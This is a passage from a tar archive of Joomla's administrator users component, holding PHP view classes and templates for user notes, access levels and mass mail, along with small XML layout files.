			'a.subject'     => JText::_('COM_USERS_SUBJECT_HEADING'),
			'c.title'       => JText::_('COM_USERS_CATEGORY_HEADING'),
			'a.state'       => JText::_('JSTATUS'),
			'a.review_time' => JText::_('COM_USERS_REVIEW_HEADING'),
			'a.id'          => JText::_('JGRID_HEADING_ID')
		);
	}
}
com_users/views/notes/tmpl/default.php000060400000011560152455305320014144 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user       = JFactory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=notes'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_SUBJECT', 'a.subject', $listDirn, $listOrder); ?>
					</th>
					<th width="20%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_USER', 'u.name', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone hidden-tablet">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_REVIEW', 'a.review_time', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="6">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) :
				$canEdit    = $user->authorise('core.edit',       'com_users.category.' . $item->catid);
				$canCheckin = $user->authorise('core.admin',      'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0;
				$canChange  = $user->authorise('core.edit.state', 'com_users.category.' . $item->catid) && $canCheckin;
				$subject    = $item->subject ?: JText::_('COM_USERS_EMPTY_SUBJECT');
				?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center checklist">
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					</td>
					<td class="center">
						<div class="btn-group">
							<?php echo JHtml::_('jgrid.published', $item->state, $i, 'notes.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
							<?php // Create dropdown items and render the dropdown list.
							if ($canChange)
							{
								JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'notes');
								JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'notes');
								echo JHtml::_('actionsdropdown.render', $this->escape($subject));
							}
							?>
						</div>
					</td>
					<td>
						<?php if ($item->checked_out) : ?>
							<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'notes.', $canCheckin); ?>
						<?php endif; ?>
						<?php $subject = $item->subject ?: JText::_('COM_USERS_EMPTY_SUBJECT'); ?>
						<?php if ($canEdit) : ?>
							<a href="<?php echo JRoute::_('index.php?option=com_users&task=note.edit&id=' . $item->id); ?>"><?php echo $this->escape($subject); ?></a>
						<?php else : ?>
							<?php echo $this->escape($subject); ?>
						<?php endif; ?>
						<div class="small">
							<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
						</div>
					</td>
					<td class="hidden-phone">
						<?php echo $this->escape($item->user_name); ?>
					</td>
					<td class="hidden-phone hidden-tablet">
						<?php if ($item->review_time !== JFactory::getDbo()->getNullDate()) : ?>
							<?php echo JHtml::_('date', $item->review_time, JText::_('DATE_FORMAT_LC4')); ?>
						<?php else : ?>
							<?php echo JText::_('COM_USERS_EMPTY_REVIEW'); ?>
						<?php endif; ?>
					</td>
					<td class="hidden-phone">
						<?php echo (int) $item->id; ?>
					</td>
				</tr>
			<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>

		<div>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</div>
</form>
com_users/views/notes/tmpl/default.xml000060400000000310152455305320014144 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_NOTES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_NOTES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/notes/tmpl/modal.php000060400000003207152455305320013613 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
?>
<div class="unotes">
	<h1><?php echo JText::sprintf('COM_USERS_NOTES_FOR_USER', $this->user->name, $this->user->id); ?></h1>
<?php if (empty($this->items)) : ?>
	<?php echo JText::_('COM_USERS_NO_NOTES'); ?>
<?php else : ?>
	<ul class="alternating">
	<?php foreach ($this->items as $item) : ?>
		<li>
			<div class="fltlft utitle">
				<?php if ($item->subject) : ?>
					<h4><?php echo JText::sprintf('COM_USERS_NOTE_N_SUBJECT', (int) $item->id, $this->escape($item->subject)); ?></h4>
				<?php else : ?>
					<h4><?php echo JText::sprintf('COM_USERS_NOTE_N_SUBJECT', (int) $item->id, JText::_('COM_USERS_EMPTY_SUBJECT')); ?></h4>
				<?php endif; ?>
			</div>

			<div class="fltlft utitle">
				<?php echo JHtml::_('date', $item->created_time, JText::_('DATE_FORMAT_LC2')); ?>
			</div>

			<?php $category_image = $item->cparams->get('image'); ?>

			<?php if ($item->catid && isset($category_image)) : ?>
			<div class="fltlft utitle">
				<?php echo JHtml::_('users.image', $category_image); ?>
			</div>

			<div class="fltlft utitle">
				<em><?php echo $this->escape($item->category_title); ?></em>
			</div>
			<?php endif; ?>

			<div class="clr"></div>
			<div class="ubody">
				<?php echo (isset($item->body) ? JHtml::_('content.prepare', $item->body) : ''); ?>
			</div>
		</li>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>
</div>
com_users/views/levels/tmpl/default.php000060400000011420152455305320014301 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user       = JFactory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$saveOrder  = $listOrder == 'a.ordering';

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_users&task=levels.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'levelList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}

?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=levels'); ?>" method="post" id="adminForm" name="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('filterButton' => false))); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="levelList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_LEVEL_NAME', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JText::_('COM_USERS_USER_GROUPS_HAVING_ACCESS'); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php $count = count($this->items); ?>
				<?php foreach ($this->items as $i => $item) :
					$ordering  = ($listOrder == 'a.ordering');
					$canCreate = $user->authorise('core.create',     'com_users');
					$canEdit   = $user->authorise('core.edit',       'com_users');
					$canChange = $user->authorise('core.edit.state', 'com_users');

					// Decode level groups
					$groups = json_decode($item->rules);

					// If this group is super admin and this user is not super admin, $canEdit is false
					if (!JFactory::getUser()->authorise('core.admin') && JAccess::checkGroup($groups[0], 'core.admin'))
					{
						$canEdit   = false;
						$canChange = false;
					}
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php if ($canEdit) : ?>
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							<?php endif; ?>
						</td>
						<td>
							<?php if ($canEdit) : ?>
							<a href="<?php echo JRoute::_('index.php?option=com_users&task=level.edit&id=' . $item->id); ?>">
								<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone">
							<?php echo UsersHelper::getVisibleByGroups($item->rules); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_users/views/levels/tmpl/default.xml000060400000000312152455305320014310 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_LEVELS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_LEVELS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/levels/view.html.php000060400000005107152455305320013623 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of view levels.
 *
 * @since  1.6
 */
class UsersViewLevels extends JViewLegacy
{
	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var   JPagination
	 * @since 1.6
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		UsersHelper::addSubmenu('levels');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::_('COM_USERS_VIEW_LEVELS_TITLE'), 'users levels');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('level.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('level.edit');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'level.delete', 'JTOOLBAR_DELETE');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_ACCESS_LEVELS');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' => JText::_('JGRID_HEADING_ORDERING'),
			'a.title'    => JText::_('COM_USERS_HEADING_LEVEL_NAME'),
			'a.id'       => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_users/views/level/tmpl/edit.xml000060400000000302152455305320013425 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_LEVEL_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_LEVEL_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/level/tmpl/edit.php000060400000002666152455305320013433 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'level.cancel' || document.formvalidator.isValid(document.getElementById('level-form')))
		{
			Joomla.submitform(task, document.getElementById('level-form'));
		}
	};
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_users&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="level-form" class="form-validate form-horizontal">
	<fieldset>
		<legend><?php echo JText::_('COM_USERS_LEVEL_DETAILS'); ?></legend>
		<div class="control-group">
			<div class="control-label">
				<?php echo $this->form->getLabel('title'); ?>
			</div>
			<div class="controls">
				<?php echo $this->form->getInput('title'); ?>
			</div>
		</div>
	</fieldset>

	<fieldset>
		<legend><?php echo JText::_('COM_USERS_USER_GROUPS_HAVING_ACCESS'); ?></legend>
		<?php echo JHtml::_('access.usergroups', 'jform[rules]', $this->item->rules, true); ?>
	</fieldset>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_users/views/level/view.html.php000060400000004114152455305320013435 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a user view level.
 *
 * @since  1.6
 */
class UsersViewLevel extends JViewLegacy
{
	protected $form;

	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $item;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_LEVEL_TITLE' : 'COM_USERS_VIEW_EDIT_LEVEL_TITLE'), 'users levels-add');

		if ($canDo->get('core.edit') || $canDo->get('core.create'))
		{
			JToolbarHelper::apply('level.apply');
			JToolbarHelper::save('level.save');
		}

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::save2new('level.save2new');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('level.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('level.cancel');
		}
		else
		{
			JToolbarHelper::cancel('level.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_USERS_ACCESS_LEVELS_EDIT');
	}
}
com_users/views/mail/tmpl/default.xml000060400000000306152455305320013743 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_MAIL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_MAIL_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/mail/tmpl/default.php000060400000006604152455305320013741 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$script = "\t" . 'Joomla.submitbutton = function(pressbutton) {' . "\n";
$script .= "\t\t" . 'var form = document.adminForm;' . "\n";
$script .= "\t\t" . 'if (pressbutton == \'mail.cancel\') {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);' . "\n";
$script .= "\t\t\t" . 'return;' . "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '// do field validation' . "\n";
$script .= "\t\t" . 'if (form.jform_subject.value == ""){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT', true) . '");' . "\n";
$script .= "\t\t" . '} else if (getSelectedValue(\'adminForm\',\'jform[group]\') < 0){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_USERS_MAIL_PLEASE_SELECT_A_GROUP', true) . '");' . "\n";
$script .= "\t\t" . '} else if (form.jform_message.value == ""){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE', true) . '");' . "\n";
$script .= "\t\t" . '} else {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);' . "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '}' . "\n";

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration($script);
?>

<form action="<?php echo JRoute::_('index.php?option=com_users&view=mail'); ?>" name="adminForm" method="post" id="adminForm">
	<div class="row-fluid">
		<div class="span9">
			<fieldset class="adminform">
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('subject'); ?></div>
					<div class="controls"><?php echo JComponentHelper::getParams('com_users')->get('mailSubjectPrefix'); ?>
						<?php echo $this->form->getInput('subject'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('message'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('message'); ?><br>
						<?php echo JComponentHelper::getParams('com_users')->get('mailBodySuffix'); ?></div>
				</div>
			</fieldset>
			<input type="hidden" name="task" value="" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
		<div class="span3">
			<fieldset class="form-inline">
				<div class="control-group checkbox">
					<div class="controls"><?php echo $this->form->getInput('recurse'); ?> <?php echo $this->form->getLabel('recurse'); ?></div>
				</div>
				<div class="control-group checkbox">
					<div class="control-label"><?php echo $this->form->getInput('mode'); ?> <?php echo $this->form->getLabel('mode'); ?></div>
				</div>
				<div class="control-group checkbox">
					<div class="control-label"><?php echo $this->form->getInput('disabled'); ?> <?php echo $this->form->getLabel('disabled'); ?></div>
				</div>
				<div class="control-group checkbox">
					<div class="control-label"><?php echo $this->form->getInput('bcc'); ?> <?php echo $this->form->getLabel('bcc'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('group'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('group'); ?></div>
				</div>
			</fieldset>
		</div>
	</div>
</form>
com_users/views/mail/view.html.php000060400000002770152455305320013256 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users mail view.
 *
 * @since  1.6
 */
class UsersViewMail extends JViewLegacy
{
	/**
	 * @var object form object
	 */
	protected $form;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		// Redirect to admin index if mass mailer disabled in conf
		if (JFactory::getApplication()->get('massmailoff', 0) == 1)
		{
			JFactory::getApplication()->redirect(JRoute::_('index.php', false));
		}

		// Get data from the model
		$this->form = $this->get('Form');

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		JToolbarHelper::title(JText::_('COM_USERS_MASS_MAIL'), 'users massmail');
		JToolbarHelper::custom('mail.send', 'envelope.png', 'send_f2.png', 'COM_USERS_TOOLBAR_MAIL_SEND_MAIL', false);
		JToolbarHelper::cancel('mail.cancel');
		JToolbarHelper::divider();
		JToolbarHelper::preferences('com_users');
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_USERS_MASS_MAIL_USERS');
	}
}
com_users/views/note/view.html.php000060400000005673152455305320013306 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User note edit view
 *
 * @since  2.5
 */
class UsersViewNote extends JViewLegacy
{
	/**
	 * The edit form.
	 *
	 * @var    JForm
	 * @since  2.5
	 */
	protected $form;

	/**
	 * The item data.
	 *
	 * @var    object
	 * @since  2.5
	 */
	protected $item;

	/**
	 * The model state.
	 *
	 * @var    JObject
	 * @since  2.5
	 */
	protected $state;

	/**
	 * Override the display method for the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Initialise view variables.
		$this->state = $this->get('State');
		$this->item  = $this->get('Item');
		$this->form  = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Get the component HTML helpers
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		parent::display($tpl);
		$this->addToolbar();
	}

	/**
	 * Display the toolbar.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		$input = JFactory::getApplication()->input;
		$input->set('hidemainmenu', 1);

		$user       = JFactory::getUser();
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));

		// Since we don't track these assets at the item level, use the category id.
		$canDo = JHelperContent::getActions('com_users', 'category', $this->item->catid);

		JToolbarHelper::title(JText::_('COM_USERS_NOTES'), 'users user');

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_users', 'core.create'))))
		{
			JToolbarHelper::apply('note.apply');
			JToolbarHelper::save('note.save');
		}

		if (!$checkedOut && count($user->getAuthorisedCategories('com_users', 'core.create')))
		{
			JToolbarHelper::save2new('note.save2new');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && (count($user->getAuthorisedCategories('com_users', 'core.create')) > 0))
		{
			JToolbarHelper::save2copy('note.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('note.cancel');
		}
		else
		{
			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $canDo->get('core.edit'))
			{
				JToolbarHelper::versions('com_users.note', $this->item->id);
			}

			JToolbarHelper::cancel('note.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_USERS_USER_NOTES_EDIT');
	}
}
com_users/views/note/tmpl/edit.xml000060400000000300152455305320013261 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_NOTE_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_NOTE_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/note/tmpl/edit.php000060400000005122152455305320013257 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration('
jQuery(document).ready(function() {
	Joomla.submitbutton = function(task)
	{
		if (task == "note.cancel" || document.formvalidator.isValid(document.getElementById("note-form")))
		{
			' . $this->form->getField('body')->save() . '
			Joomla.submitform(task, document.getElementById("note-form"));
		}
	}
});');
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=note&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="note-form" class="form-validate form-horizontal">
		<fieldset class="adminform">
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('subject'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('subject'); ?>
				</div>
			</div>
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('user_id'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('user_id'); ?>
				</div>
			</div>
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('catid'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('catid'); ?>
				</div>
			</div>
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('state'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('state'); ?>
				</div>
			</div>
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('review_time'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('review_time'); ?>
				</div>
			</div>
			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('version_note'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('version_note'); ?>
				</div>
			</div>

			<div class="control-group">
				<div class="control-label">
					<?php echo $this->form->getLabel('body'); ?>
				</div>
				<div class="controls">
					<?php echo $this->form->getInput('body'); ?>
				</div>
			</div>

			<input type="hidden" name="task" value="" />
			<?php echo JHtml::_('form.token'); ?>
		</fieldset>
</form>
com_users/views/debuggroup/view.html.php000060400000004552152455305320014477 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of User Group ACL permissions.
 *
 * @since  1.6
 */
class UsersViewDebuggroup extends JViewLegacy
{
	protected $actions;

	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var   JPagination
	 * @since 1.6
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		// Access check.
